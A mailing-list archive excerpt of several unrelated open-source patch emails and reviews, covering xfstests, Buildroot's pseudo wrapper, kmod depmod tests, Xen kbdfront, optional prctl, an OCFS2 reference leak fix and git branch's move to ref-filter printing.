> >  	leaf_attr="$(__populate_find_inode "${SCRATCH_MNT}/ATTR.FMT_LEAF")"
> >  	node_attr="$(__populate_find_inode "${SCRATCH_MNT}/ATTR.FMT_NODE")"
> >  	btree_attr="$(__populate_find_inode "${SCRATCH_MNT}/ATTR.FMT_BTREE")"
> > +	is_finobt=$(xfs_info "${SCRATCH_MNT}" | grep -c 'finobt=1')
> > +	is_rmapbt=$(xfs_info "${SCRATCH_MNT}" | grep -c 'rmapbt=1')
> > +	is_reflink=$(xfs_info "${SCRATCH_MNT}" | grep -c 'reflink=1')
> >  
> >  	blksz="$(stat -f -c '%s' "${SCRATCH_MNT}")"
> >  	dblksz="$(xfs_info "${SCRATCH_MNT}" | grep naming.*bsize | sed -e 's/^.*bsize=//g' -e 's/\([0-9]*\).*$/\1/g')"
> > @@ -389,6 +456,10 @@ _scratch_xfs_populate_check() {
> >  	__populate_check_xfs_attr "${node_attr}" "node"
> >  	__populate_check_xfs_attr "${btree_attr}" "btree"
> >  	__populate_check_xfs_aformat "${btree_attr}" "btree"
> > +	__populate_check_xfs_agbtree_height "bno"
> > +	__populate_check_xfs_agbtree_height "cnt"
> > +	test -n $is_rmapbt && __populate_check_xfs_agbtree_height "rmap"
> > +	test -n $is_reflink && __populate_check_xfs_agbtree_height "refcnt"
> >  }
> >  
> >  # Check data fork format of ext4 file
> > 

^ permalink raw reply

* [Buildroot] [PATCH 5/5] package/pseudo: provide better legacy handling for fakeroot
From: Arnout Vandecappelle @ 2016-11-09  0:29 UTC (permalink / raw)
  To: buildroot
In-Reply-To: <29ffadca0013de2c9d9c7e749f13cb6e0361a9f0.1478643505.git.yann.morin.1998@free.fr>



On 08-11-16 23:18, Yann E. MORIN wrote:
> We now have a wrapper that makes pseudo behaves like the fakeroot of the
> good ol' days. So the symlink will just magically keep old scripts
> working as they did before the switch to pseudo.
> 
> However, using fakeroot is deprecated, and we want people to stop using
> it altogether and switch to pseudo.
> 
> So, make the wrapper recognise how it's called, and if called as
> fakeroot, print a warning message.
> 
> Signed-off-by: "Yann E. MORIN" <yann.morin.1998@free.fr>
> Cc: Ga?l PORTAY <gael.portay@savoirfairelinux.com>
> Cc: Patrick Keroulas <patrick.keroulas@savoirfairelinux.com>
> Cc: Erico Nunes <nunes.erico@gmail.com>
> Cc: Julien BOIBESSOT <julien.boibessot@free.fr>
> Cc: Arnout Vandecappelle <arnout@mind.be>
> ---
>  package/pseudo/pseudo-wrapper | 9 ++++++++-
>  package/pseudo/pseudo.mk      | 2 +-
>  2 files changed, 9 insertions(+), 2 deletions(-)
> 
> diff --git a/package/pseudo/pseudo-wrapper b/package/pseudo/pseudo-wrapper
> index feaa7fc..9c8dbdb 100644
> --- a/package/pseudo/pseudo-wrapper
> +++ b/package/pseudo/pseudo-wrapper
> @@ -1,5 +1,12 @@
>  #!/bin/sh
>  
> +if [ "${0##*/}" = "fakeroot" ]; then
> +    cat >&2 <<-_EOF_
> +	WARNING: fakeroot has been replaced with pseudo.
> +	WARNING: Update your script(s) to use pseudo or pseudo-wrapper instead.
> +	_EOF_
> +fi
> +
>  export PSEUDO_PREFIX="$(dirname "${0%/*}")"
>  export PSEUDO_OPTS="-t0"
>  if [ -n "${TARGET_DIR}" ]; then
> @@ -9,4 +16,4 @@ if [ -n "${BASE_DIR}" ]; then
>      export PSEUDO_LOCALSTATEDIR="${BASE_DIR}/build/.pseudodb"
>  fi
>  
> -exec "${0%-wrapper}" "${@}"
> +exec "${0%/*}/pseudo" "${@}"

 This hunk should have been squashed into patch 3. But who cares.

Reviewed-by: Arnout Vandecappelle (Essensium/Mind) <arnout@mind.be>

 Regards,
 Arnout

> diff --git a/package/pseudo/pseudo.mk b/package/pseudo/pseudo.mk
> index 474eae2..02d6247 100644
> --- a/package/pseudo/pseudo.mk
> +++ b/package/pseudo/pseudo.mk
> @@ -33,7 +33,7 @@ endef
>  HOST_PSEUDO_POST_INSTALL_HOOKS += HOST_PSEUDO_INSTALL_WRAPPER
>  
>  define HOST_PSEUDO_FAKEROOT_SYMLINK
> -	ln -sf pseudo $(HOST_DIR)/usr/bin/fakeroot
> +	ln -sf pseudo-wrapper $(HOST_DIR)/usr/bin/fakeroot
>  endef
>  HOST_PSEUDO_POST_INSTALL_HOOKS += HOST_PSEUDO_FAKEROOT_SYMLINK
>  
> 

-- 
Arnout Vandecappelle                          arnout at mind be
Senior Embedded Software Architect            +32-16-286500
Essensium/Mind                                http://www.mind.be
G.Geenslaan 9, 3001 Leuven, Belgium           BE 872 984 063 RPR Leuven
LinkedIn profile: http://www.linkedin.com/in/arnoutvandecappelle
GPG fingerprint:  7493 020B C7E3 8618 8DEC 222C 82EB F404 F9AC 0DDF

^ permalink raw reply

* Re: [PATCH v1 1/2] testsuite: depmod: add module dependency outside cyclic chain
From: Lucas De Marchi @ 2016-11-09  0:29 UTC (permalink / raw)
  To: Mian Yousaf Kaukab
  Cc: linux-modules, Lucas De Marchi, bjorn.andersson, afaerber
In-Reply-To: <1478623550-18716-1-git-send-email-yousaf.kaukab@suse.com>

On Tue, Nov 8, 2016 at 2:45 PM, Mian Yousaf Kaukab
<yousaf.kaukab@suse.com> wrote:
> Check that depmod do not report modules outside cyclic chain
>
> Two modules f and g are added which do not have any dependency.
> modules a and b are made dependent on f and g.
>
> Signed-off-by: Mian Yousaf Kaukab <yousaf.kaukab@suse.com>
> ---
> Here is the output of loop dependency check test after adding this
> patch:
>
> ESTSUITE: ERR: wrong:
> depmod: ERROR: Found 7 modules in dependency cycles!
> depmod: ERROR: Cycle detected: mod_loop_d -> mod_loop_e -> mod_loop_d
> depmod: ERROR: Cycle detected: mod_loop_b -> mod_loop_c -> mod_loop_a -> mod_loop_b
> depmod: ERROR: Cycle detected: mod_loop_b -> mod_loop_c -> mod_loop_a -> mod_loop_g
> depmod: ERROR: Cycle detected: mod_loop_b -> mod_loop_c -> mod_loop_a -> mod_loop_f
>
> Buffer overflow occurs in the loop when last two lines are printed.
> 43 bytes buffer is allocated and 53 bytes are used.


Great!

I found this last part of the message very useful to be in the commit
message, so I moved it there.

Thanks,
Applied

Lucas De Marchi

-- 
Lucas De Marchi

^ permalink raw reply

* Re: [PATCH 05/12] xen: make use of xenbus_read_unsigned() in xen-kbdfront
From: Dmitry Torokhov @ 2016-11-09  0:29 UTC (permalink / raw)
  To: Juergen Gross
  Cc: linux-kernel, xen-devel, david.vrabel, boris.ostrovsky,
	linux-input
In-Reply-To: <1477932510-28594-6-git-send-email-jgross@suse.com>

On Mon, Oct 31, 2016 at 05:48:23PM +0100, Juergen Gross wrote:
> Use xenbus_read_unsigned() instead of xenbus_scanf() when possible.
> This requires to change the type of the reads from int to unsigned,
> but these cases have been wrong before: negative values are not allowed
> for the modified cases.
> 
> Cc: dmitry.torokhov@gmail.com
> Cc: linux-input@vger.kernel.org
> 
> Signed-off-by: Juergen Gross <jgross@suse.com>

Acked-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>

> ---
>  drivers/input/misc/xen-kbdfront.c | 13 +++++--------
>  1 file changed, 5 insertions(+), 8 deletions(-)
> 
> diff --git a/drivers/input/misc/xen-kbdfront.c b/drivers/input/misc/xen-kbdfront.c
> index 227fbd2..3900875 100644
> --- a/drivers/input/misc/xen-kbdfront.c
> +++ b/drivers/input/misc/xen-kbdfront.c
> @@ -108,7 +108,8 @@ static irqreturn_t input_handler(int rq, void *dev_id)
>  static int xenkbd_probe(struct xenbus_device *dev,
>  				  const struct xenbus_device_id *id)
>  {
> -	int ret, i, abs;
> +	int ret, i;
> +	unsigned int abs;
>  	struct xenkbd_info *info;
>  	struct input_dev *kbd, *ptr;
>  
> @@ -127,8 +128,7 @@ static int xenkbd_probe(struct xenbus_device *dev,
>  	if (!info->page)
>  		goto error_nomem;
>  
> -	if (xenbus_scanf(XBT_NIL, dev->otherend, "feature-abs-pointer", "%d", &abs) < 0)
> -		abs = 0;
> +	abs = xenbus_read_unsigned(dev->otherend, "feature-abs-pointer", 0);
>  	if (abs) {
>  		ret = xenbus_write(XBT_NIL, dev->nodename,
>  				   "request-abs-pointer", "1");
> @@ -322,11 +322,8 @@ static void xenkbd_backend_changed(struct xenbus_device *dev,
>  
>  	case XenbusStateInitWait:
>  InitWait:
> -		ret = xenbus_scanf(XBT_NIL, info->xbdev->otherend,
> -				   "feature-abs-pointer", "%d", &val);
> -		if (ret < 0)
> -			val = 0;
> -		if (val) {
> +		if (xenbus_read_unsigned(info->xbdev->otherend,
> +					 "feature-abs-pointer", 0)) {
>  			ret = xenbus_write(XBT_NIL, info->xbdev->nodename,
>  					   "request-abs-pointer", "1");
>  			if (ret)
> -- 
> 2.6.6
> 

-- 
Dmitry

^ permalink raw reply

* Re: [PATCH 0/2] Support compiling out the prctl syscall
From: Arnd Bergmann @ 2016-11-09  0:26 UTC (permalink / raw)
  To: Josh Triplett
  Cc: Andrew Morton, Kees Cook, Johannes Weiner, Ingo Molnar,
	Andy Lutomirski, Petr Mladek, Thomas Garnier, Ard Biesheuvel,
	Nicolas Pitre, Zefan Li, Li Bin, Eric W. Biederman, Dmitry Vyukov,
	Ralf Baechle, Alex Thorlton, Michal Hocko, Mateusz Guzik,
	Cyrill Gorcunov, John Stultz, Al Viro, Zach Brown, Anna Schumaker,
	Dave Hansen, linux-kernel, linux-api, Nicolas Pitre
In-Reply-To: <cover.c693f10dfc19e12c214758e4b13ca9b4e4cf9668.1478650356.git-series.josh@joshtriplett.org>

On Tuesday, November 8, 2016 4:17:47 PM CET Josh Triplett wrote:
> Some embedded systems can do without the prctl syscall, saving some space.
> 
> This also avoids regular increases in tinyconfig size as people add more
> non-optional functionality to prctl (observed via the 0-day kernel
> infrastructure).
> 
> The first patch moves prctl and all its helpers into a separate source file,
> kernel/prctl.c, to allow making it optional via the Makefile without any
> ifdefs.  The second patch adds the Kconfig option to make prctl optional.
> 
> Josh Triplett (2):
>   kernel: Move prctl and helpers from kernel/sys.c to new kernel/prctl.c
>   kernel: Support compiling out the prctl syscall
> 

Both of these look really nice to me. Another syscall that comes to
mind as a candidate to be made optional is ptrace, and I've added
Nicolas Pitre to Cc here, as he has looked into this before.

Another area to look at may be syscalls that are always defined
but that are no longer part of the default syscall table in
include/uapi/asm-generic/unistd.h. Maybe we can have a single
conditional for those.

	Arnd

^ permalink raw reply

* [Ocfs2-devel] [PATCH] ocfs2: old mle put and release after the function dlm_add_migration_mle called.
From: Guozhonghua @ 2016-11-09  0:29 UTC (permalink / raw)
  To: ocfs2-devel


If the old mle is found after the dlm_add_migration_mle called, it should be put once.
If the return value is not - EEXIST and its type is BLOCK, it should be put again to release it to avoid memory leak, for it had been unhashed from the map.

Signed-off-by: Guozhonghua <guozhonghua@h3c.com>

--- ocfs2.orig/dlm/dlmmaster.c  2016-11-08 16:58:30.233592715 +0800
+++ ocfs2/dlm/dlmmaster.c       2016-11-08 17:37:00.157673017 +0800
@@ -2621,20 +2621,45 @@ static int dlm_migrate_lockres(struct dl
        spin_lock(&dlm->master_lock);
        ret = dlm_add_migration_mle(dlm, res, mle, &oldmle, name,
                                    namelen, target, dlm->node_num);
+       if (ret == -EEXIST) {
+               if(oldmle)
+                       __dlm_put_mle(oldmle);
+
+               spin_unlock(&dlm->master_lock);
+               spin_unlock(&dlm->spinlock);
+               mlog(0, "another process is already migrating it\n");
+               goto fail;
+       }
+
+       /* If an old one mle found, it should be put. if its type is BLOCK,
+        * it should be put again. Because it had been unhasded from the map
+        * in the function dlm_add_migration_mle.
+        * otherwise the memory will be leaked. It will not found it again from
+        * the hash map.
+        */
+       if (oldmle) {
+               /* master is known, detach if not already detached */
+               __dlm_mle_detach_hb_events(dlm, oldmle);
+               __dlm_put_mle(oldmle);
+
+               /* if the type of the mle is BLOCK, should put it once for release.
+                * otherwise memory leak may be caused because oldmle had been unhashed
+                * from the hash map, it will not be found anymore.
+                */
+               if (oldmle->type == DLM_MLE_BLOCK)
+                       __dlm_put_mle(oldmle);
+       }
+
        /* get an extra reference on the mle.
         * otherwise the assert_master from the new
         * master will destroy this.
         */
        dlm_get_mle_inuse(mle);
+       mle_added = 1;
+
        spin_unlock(&dlm->master_lock);
        spin_unlock(&dlm->spinlock);

-       if (ret == -EEXIST) {
-               mlog(0, "another process is already migrating it\n");
-               goto fail;
-       }
-       mle_added = 1;
-
        /*
         * set the MIGRATING flag and flush asts
         * if we fail after this we need to re-dirty the lockres
@@ -2651,12 +2676,6 @@ static int dlm_migrate_lockres(struct dl
        }

 fail:
-       if (ret != -EEXIST && oldmle) {
-               /* master is known, detach if not already detached */
-               dlm_mle_detach_hb_events(dlm, oldmle);
-               dlm_put_mle(oldmle);
-       }
-
        if (ret < 0) {
                if (mle_added) {
                        dlm_mle_detach_hb_events(dlm, mle);
@@ -3191,16 +3210,23 @@ int dlm_migrate_request_handler(struct o
        if (ret < 0)
                kmem_cache_free(dlm_mle_cache, mle);

+       /* If an old one mle found, it should be put. if its type is BLOCK,
+        * it should be put again. Because it had been unhasded from the map
+        * in the function dlm_add_migration_mle.
+        * otherwise the memory will be leaked. It will not found it again from
+        * the hash map.
+        */
+       if (oldmle) {
+               __dlm_mle_detach_hb_events(dlm, oldmle);
+               __dlm_put_mle(oldmle);
+               if (ret >= 0 && oldmle->type == DLM_MLE_BLOCK)
+                       __dlm_put_mle(oldmle);
+       }
+
        spin_unlock(&dlm->master_lock);
 unlock:
        spin_unlock(&dlm->spinlock);

-       if (oldmle) {
-               /* master is known, detach if not already detached */
-               dlm_mle_detach_hb_events(dlm, oldmle);
-               dlm_put_mle(oldmle);
-       }
-
        if (res)
                dlm_lockres_put(res);
 leave:
-------------------------------------------------------------------------------------------------------------------------------------
????????????????????????????????????????
????????????????????????????????????????
????????????????????????????????????????
???
This e-mail and its attachments contain confidential information from H3C, which is
intended only for the person or entity whose address is listed above. Any use of the
information contained herein in any way (including, but not limited to, total or partial
disclosure, reproduction, or dissemination) by persons other than the intended
recipient(s) is prohibited. If you receive this e-mail in error, please notify the sender
by phone or email immediately and delete it!

^ permalink raw reply

* Re: [PATCH 05/12] xen: make use of xenbus_read_unsigned() in xen-kbdfront
From: Dmitry Torokhov @ 2016-11-09  0:29 UTC (permalink / raw)
  To: Juergen Gross
  Cc: linux-input, boris.ostrovsky, david.vrabel, linux-kernel,
	xen-devel
In-Reply-To: <1477932510-28594-6-git-send-email-jgross@suse.com>

On Mon, Oct 31, 2016 at 05:48:23PM +0100, Juergen Gross wrote:
> Use xenbus_read_unsigned() instead of xenbus_scanf() when possible.
> This requires to change the type of the reads from int to unsigned,
> but these cases have been wrong before: negative values are not allowed
> for the modified cases.
> 
> Cc: dmitry.torokhov@gmail.com
> Cc: linux-input@vger.kernel.org
> 
> Signed-off-by: Juergen Gross <jgross@suse.com>

Acked-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>

> ---
>  drivers/input/misc/xen-kbdfront.c | 13 +++++--------
>  1 file changed, 5 insertions(+), 8 deletions(-)
> 
> diff --git a/drivers/input/misc/xen-kbdfront.c b/drivers/input/misc/xen-kbdfront.c
> index 227fbd2..3900875 100644
> --- a/drivers/input/misc/xen-kbdfront.c
> +++ b/drivers/input/misc/xen-kbdfront.c
> @@ -108,7 +108,8 @@ static irqreturn_t input_handler(int rq, void *dev_id)
>  static int xenkbd_probe(struct xenbus_device *dev,
>  				  const struct xenbus_device_id *id)
>  {
> -	int ret, i, abs;
> +	int ret, i;
> +	unsigned int abs;
>  	struct xenkbd_info *info;
>  	struct input_dev *kbd, *ptr;
>  
> @@ -127,8 +128,7 @@ static int xenkbd_probe(struct xenbus_device *dev,
>  	if (!info->page)
>  		goto error_nomem;
>  
> -	if (xenbus_scanf(XBT_NIL, dev->otherend, "feature-abs-pointer", "%d", &abs) < 0)
> -		abs = 0;
> +	abs = xenbus_read_unsigned(dev->otherend, "feature-abs-pointer", 0);
>  	if (abs) {
>  		ret = xenbus_write(XBT_NIL, dev->nodename,
>  				   "request-abs-pointer", "1");
> @@ -322,11 +322,8 @@ static void xenkbd_backend_changed(struct xenbus_device *dev,
>  
>  	case XenbusStateInitWait:
>  InitWait:
> -		ret = xenbus_scanf(XBT_NIL, info->xbdev->otherend,
> -				   "feature-abs-pointer", "%d", &val);
> -		if (ret < 0)
> -			val = 0;
> -		if (val) {
> +		if (xenbus_read_unsigned(info->xbdev->otherend,
> +					 "feature-abs-pointer", 0)) {
>  			ret = xenbus_write(XBT_NIL, info->xbdev->nodename,
>  					   "request-abs-pointer", "1");
>  			if (ret)
> -- 
> 2.6.6
> 

-- 
Dmitry

_______________________________________________
Xen-devel mailing list
Xen-devel@lists.xen.org
https://lists.xen.org/xen-devel

^ permalink raw reply

* Re: [PATCH v7 16/17] branch: use ref-filter printing APIs
From: Jacob Keller @ 2016-11-09  0:14 UTC (permalink / raw)
  To: Karthik Nayak; +Cc: Git mailing list
In-Reply-To: <20161108201211.25213-17-Karthik.188@gmail.com>

On Tue, Nov 8, 2016 at 12:12 PM, Karthik Nayak <karthik.188@gmail.com> wrote:
> From: Karthik Nayak <karthik.188@gmail.com>
>
> Port branch.c to use ref-filter APIs for printing. This clears out
> most of the code used in branch.c for printing and replaces them with
> calls made to the ref-filter library.

Nice. This looks correct based on checking against the current
branch.c implementation by hand. There was one minor change I
suggested but I'm not really sure it buys is that much.

Thanks,
Jake

>
> Introduce build_format() which gets the format required for printing
> of refs. Make amendments to print_ref_list() to reflect these changes.
>

Ok.

> Change calc_maxwidth() to also account for the length of HEAD ref, by
> calling ref-filter:get_head_discription().
>
> Also change the test in t6040 to reflect the changes.


Right.

>
> Before this patch, all cross-prefix symrefs weren't shortened. Since
> we're using ref-filter APIs, we shorten all symrefs by default. We also
> allow the user to change the format if needed with the introduction of
> the '--format' option in the next patch.
>

This also makes sense.

> Mentored-by: Christian Couder <christian.couder@gmail.com>
> Mentored-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
> Signed-off-by: Karthik Nayak <karthik.188@gmail.com>
> ---
>  builtin/branch.c         | 234 ++++++++++++++---------------------------------
>  t/t3203-branch-output.sh |   2 +-
>  t/t6040-tracking-info.sh |   2 +-
>  3 files changed, 70 insertions(+), 168 deletions(-)
>
> diff --git a/builtin/branch.c b/builtin/branch.c
> index dead2b8..a19e05d 100644
> --- a/builtin/branch.c
> +++ b/builtin/branch.c
> @@ -36,12 +36,12 @@ static unsigned char head_sha1[20];
>
>  static int branch_use_color = -1;
>  static char branch_colors[][COLOR_MAXLEN] = {
> -       GIT_COLOR_RESET,
> -       GIT_COLOR_NORMAL,       /* PLAIN */
> -       GIT_COLOR_RED,          /* REMOTE */
> -       GIT_COLOR_NORMAL,       /* LOCAL */
> -       GIT_COLOR_GREEN,        /* CURRENT */
> -       GIT_COLOR_BLUE,         /* UPSTREAM */
> +       "%(color:reset)",
> +       "%(color:reset)",       /* PLAIN */
> +       "%(color:red)",         /* REMOTE */
> +       "%(color:reset)",       /* LOCAL */
> +       "%(color:green)",       /* CURRENT */
> +       "%(color:blue)",        /* UPSTREAM */
>  };
>  enum color_branch {
>         BRANCH_COLOR_RESET = 0,
> @@ -280,162 +280,6 @@ static int delete_branches(int argc, const char **argv, int force, int kinds,
>         return(ret);
>  }
>
> -static void fill_tracking_info(struct strbuf *stat, const char *branch_name,
> -               int show_upstream_ref)
> -{
> -       int ours, theirs;
> -       char *ref = NULL;
> -       struct branch *branch = branch_get(branch_name);
> -       const char *upstream;
> -       struct strbuf fancy = STRBUF_INIT;
> -       int upstream_is_gone = 0;
> -       int added_decoration = 1;
> -
> -       if (stat_tracking_info(branch, &ours, &theirs, &upstream) < 0) {
> -               if (!upstream)
> -                       return;
> -               upstream_is_gone = 1;
> -       }
> -
> -       if (show_upstream_ref) {
> -               ref = shorten_unambiguous_ref(upstream, 0);
> -               if (want_color(branch_use_color))
> -                       strbuf_addf(&fancy, "%s%s%s",
> -                                       branch_get_color(BRANCH_COLOR_UPSTREAM),
> -                                       ref, branch_get_color(BRANCH_COLOR_RESET));
> -               else
> -                       strbuf_addstr(&fancy, ref);
> -       }
> -
> -       if (upstream_is_gone) {
> -               if (show_upstream_ref)
> -                       strbuf_addf(stat, _("[%s: gone]"), fancy.buf);
> -               else
> -                       added_decoration = 0;
> -       } else if (!ours && !theirs) {
> -               if (show_upstream_ref)
> -                       strbuf_addf(stat, _("[%s]"), fancy.buf);
> -               else
> -                       added_decoration = 0;
> -       } else if (!ours) {
> -               if (show_upstream_ref)
> -                       strbuf_addf(stat, _("[%s: behind %d]"), fancy.buf, theirs);
> -               else
> -                       strbuf_addf(stat, _("[behind %d]"), theirs);
> -
> -       } else if (!theirs) {
> -               if (show_upstream_ref)
> -                       strbuf_addf(stat, _("[%s: ahead %d]"), fancy.buf, ours);
> -               else
> -                       strbuf_addf(stat, _("[ahead %d]"), ours);
> -       } else {
> -               if (show_upstream_ref)
> -                       strbuf_addf(stat, _("[%s: ahead %d, behind %d]"),
> -                                   fancy.buf, ours, theirs);
> -               else
> -                       strbuf_addf(stat, _("[ahead %d, behind %d]"),
> -                                   ours, theirs);
> -       }
> -       strbuf_release(&fancy);
> -       if (added_decoration)
> -               strbuf_addch(stat, ' ');
> -       free(ref);
> -}
> -
> -static void add_verbose_info(struct strbuf *out, struct ref_array_item *item,
> -                            struct ref_filter *filter, const char *refname)
> -{
> -       struct strbuf subject = STRBUF_INIT, stat = STRBUF_INIT;
> -       const char *sub = _(" **** invalid ref ****");
> -       struct commit *commit = item->commit;
> -
> -       if (!parse_commit(commit)) {
> -               pp_commit_easy(CMIT_FMT_ONELINE, commit, &subject);
> -               sub = subject.buf;
> -       }
> -
> -       if (item->kind == FILTER_REFS_BRANCHES)
> -               fill_tracking_info(&stat, refname, filter->verbose > 1);
> -
> -       strbuf_addf(out, " %s %s%s",
> -               find_unique_abbrev(item->commit->object.oid.hash, filter->abbrev),
> -               stat.buf, sub);
> -       strbuf_release(&stat);
> -       strbuf_release(&subject);
> -}
> -
> -static void format_and_print_ref_item(struct ref_array_item *item, int maxwidth,
> -                                     struct ref_filter *filter, const char *remote_prefix)
> -{
> -       char c;
> -       int current = 0;
> -       int color;
> -       struct strbuf out = STRBUF_INIT, name = STRBUF_INIT;
> -       const char *prefix_to_show = "";
> -       const char *prefix_to_skip = NULL;
> -       const char *desc = item->refname;
> -       char *to_free = NULL;
> -
> -       switch (item->kind) {
> -       case FILTER_REFS_BRANCHES:
> -               prefix_to_skip = "refs/heads/";
> -               skip_prefix(desc, prefix_to_skip, &desc);
> -               if (!filter->detached && !strcmp(desc, head))
> -                       current = 1;
> -               else
> -                       color = BRANCH_COLOR_LOCAL;
> -               break;
> -       case FILTER_REFS_REMOTES:
> -               prefix_to_skip = "refs/remotes/";
> -               skip_prefix(desc, prefix_to_skip, &desc);
> -               color = BRANCH_COLOR_REMOTE;
> -               prefix_to_show = remote_prefix;
> -               break;
> -       case FILTER_REFS_DETACHED_HEAD:
> -               desc = to_free = get_head_description();
> -               current = 1;
> -               break;
> -       default:
> -               color = BRANCH_COLOR_PLAIN;
> -               break;
> -       }
> -
> -       c = ' ';
> -       if (current) {
> -               c = '*';
> -               color = BRANCH_COLOR_CURRENT;
> -       }
> -
> -       strbuf_addf(&name, "%s%s", prefix_to_show, desc);
> -       if (filter->verbose) {
> -               int utf8_compensation = strlen(name.buf) - utf8_strwidth(name.buf);
> -               strbuf_addf(&out, "%c %s%-*s%s", c, branch_get_color(color),
> -                           maxwidth + utf8_compensation, name.buf,
> -                           branch_get_color(BRANCH_COLOR_RESET));
> -       } else
> -               strbuf_addf(&out, "%c %s%s%s", c, branch_get_color(color),
> -                           name.buf, branch_get_color(BRANCH_COLOR_RESET));
> -
> -       if (item->symref) {
> -               const char *symref = item->symref;
> -               if (prefix_to_skip)
> -                       skip_prefix(symref, prefix_to_skip, &symref);
> -               strbuf_addf(&out, " -> %s", symref);
> -       }
> -       else if (filter->verbose)
> -               /* " f7c0c00 [ahead 58, behind 197] vcs-svn: drop obj_pool.h" */
> -               add_verbose_info(&out, item, filter, desc);
> -       if (column_active(colopts)) {
> -               assert(!filter->verbose && "--column and --verbose are incompatible");
> -               string_list_append(&output, out.buf);
> -       } else {
> -               printf("%s\n", out.buf);
> -       }
> -       strbuf_release(&name);
> -       strbuf_release(&out);
> -       free(to_free);
> -}
> -
>  static int calc_maxwidth(struct ref_array *refs, int remote_bonus)
>  {
>         int i, max = 0;
> @@ -446,7 +290,12 @@ static int calc_maxwidth(struct ref_array *refs, int remote_bonus)
>
>                 skip_prefix(it->refname, "refs/heads/", &desc);
>                 skip_prefix(it->refname, "refs/remotes/", &desc);
> -               w = utf8_strwidth(desc);
> +               if (it->kind == FILTER_REFS_DETACHED_HEAD) {
> +                       char *head_desc = get_head_description();
> +                       w = utf8_strwidth(head_desc);
> +                       free(head_desc);
> +               } else
> +                       w = utf8_strwidth(desc);
>
>                 if (it->kind == FILTER_REFS_REMOTES)
>                         w += remote_bonus;
> @@ -456,12 +305,52 @@ static int calc_maxwidth(struct ref_array *refs, int remote_bonus)
>         return max;
>  }
>
> +static char *build_format(struct ref_filter *filter, int maxwidth, const char *remote_prefix)
> +{
> +       struct strbuf fmt = STRBUF_INIT;
> +       struct strbuf local = STRBUF_INIT;
> +       struct strbuf remote = STRBUF_INIT;
> +

Ok, so here we go for reviewing the new formats.

> +       strbuf_addf(&fmt, "%%(if)%%(HEAD)%%(then)* %s%%(else)  %%(end)", branch_get_color(BRANCH_COLOR_CURRENT));
> +

The first thing we print, is the * when it's HEAD or two spaces,
followed by getting the current color scheme. Ok, this matches what we
do with branch today.

> +       if (filter->verbose) {
> +               strbuf_addf(&local, "%%(align:%d,left)%%(refname:strip=2)%%(end)", maxwidth);
> +               strbuf_addf(&local, "%s", branch_get_color(BRANCH_COLOR_RESET));
> +               strbuf_addf(&local, " %%(objectname:short=7) ");
> +

Now, for verbose mode we setup local to be left aligned to a maximum
width, with the refname stripped by 2 fields.

Then, we reset the color, and print the object name shorted to 7 characters. Ok.

> +               if (filter->verbose > 1)
> +                       strbuf_addf(&local, "%%(if)%%(upstream)%%(then)[%s%%(upstream:short)%s%%(if)%%(upstream:track)"
> +                                   "%%(then): %%(upstream:track,nobracket)%%(end)] %%(end)%%(contents:subject)",
> +                                   branch_get_color(BRANCH_COLOR_UPSTREAM), branch_get_color(BRANCH_COLOR_RESET));

When we have extra verbose, we check whether we have an upstream, and
if so, we print the short name of that upstream inside brackets. If we
have tracking information, we print that without brackets, and then we
end this section. Finally we print the subject.

We could almost re-use the code for the subject bits, but I'm not sure
it's worth it. Maybe drop the %contents:subject part and add it
afterwards since we always want it? It would remove some duplication
but overall not sure it's actually worth it.


> +               else
> +                       strbuf_addf(&local, "%%(if)%%(upstream:track)%%(then)%%(upstream:track) %%(end)%%(contents:subject)");
> +
> +               strbuf_addf(&remote, "%s%%(align:%d,left)%s%%(refname:strip=2)%%(end)%s%%(if)%%(symref)%%(then) -> %%(symref:short)"
> +                           "%%(else) %%(objectname:short=7) %%(contents:subject)%%(end)",
> +                           branch_get_color(BRANCH_COLOR_REMOTE), maxwidth,
> +                           remote_prefix, branch_get_color(BRANCH_COLOR_RESET));

Here we handle the remote value, which is always the same for verbose
with either one or two value.

> +       } else {
> +               strbuf_addf(&local, "%%(refname:strip=2)%s%%(if)%%(symref)%%(then) -> %%(symref:short)%%(end)",
> +                           branch_get_color(BRANCH_COLOR_RESET));
> +               strbuf_addf(&remote, "%s%s%%(refname:strip=2)%s%%(if)%%(symref)%%(then) -> %%(symref:short)%%(end)",
> +                           branch_get_color(BRANCH_COLOR_REMOTE), remote_prefix, branch_get_color(BRANCH_COLOR_RESET));
> +       }
> +
> +       strbuf_addf(&fmt, "%%(if:notequals=remotes)%%(refname:base)%%(then)%s%%(else)%s%%(end)", local.buf, remote.buf);
> +

Finally we check to see whether the base is remotes and print the
local vs the remote buf. Neat trick.

> +       strbuf_release(&local);
> +       strbuf_release(&remote);
> +       return strbuf_detach(&fmt, NULL);
> +}
> +
>  static void print_ref_list(struct ref_filter *filter, struct ref_sorting *sorting)
>  {
>         int i;
>         struct ref_array array;
>         int maxwidth = 0;
>         const char *remote_prefix = "";
> +       struct strbuf out = STRBUF_INIT;
> +       char *format;
>
>         /*
>          * If we are listing more than just remote branches,
> @@ -473,12 +362,14 @@ static void print_ref_list(struct ref_filter *filter, struct ref_sorting *sortin
>
>         memset(&array, 0, sizeof(array));
>
> -       verify_ref_format("%(refname)%(symref)");
>         filter_refs(&array, filter, filter->kind | FILTER_REFS_INCLUDE_BROKEN);
>
>         if (filter->verbose)
>                 maxwidth = calc_maxwidth(&array, strlen(remote_prefix));
>
> +       format = build_format(filter, maxwidth, remote_prefix);
> +       verify_ref_format(format);
> +
>         /*
>          * If no sorting parameter is given then we default to sorting
>          * by 'refname'. This would give us an alphabetically sorted
> @@ -490,10 +381,21 @@ static void print_ref_list(struct ref_filter *filter, struct ref_sorting *sortin
>                 sorting = ref_default_sorting();
>         ref_array_sort(sorting, &array);
>
> -       for (i = 0; i < array.nr; i++)
> -               format_and_print_ref_item(array.items[i], maxwidth, filter, remote_prefix);
> +       for (i = 0; i < array.nr; i++) {
> +               format_ref_array_item(array.items[i], format, 0, &out);
> +               if (column_active(colopts)) {
> +                       assert(!filter->verbose && "--column and --verbose are incompatible");
> +                        /* format to a string_list to let print_columns() do its job */
> +                       string_list_append(&output, out.buf);
> +               } else {
> +                       fwrite(out.buf, 1, out.len, stdout);
> +                       putchar('\n');
> +               }
> +               strbuf_release(&out);
> +       }
>
>         ref_array_clear(&array);
> +       free(format);
>  }
>
>  static void reject_rebase_or_bisect_branch(const char *target)
> diff --git a/t/t3203-branch-output.sh b/t/t3203-branch-output.sh
> index c6a3ccb..980c732 100755
> --- a/t/t3203-branch-output.sh
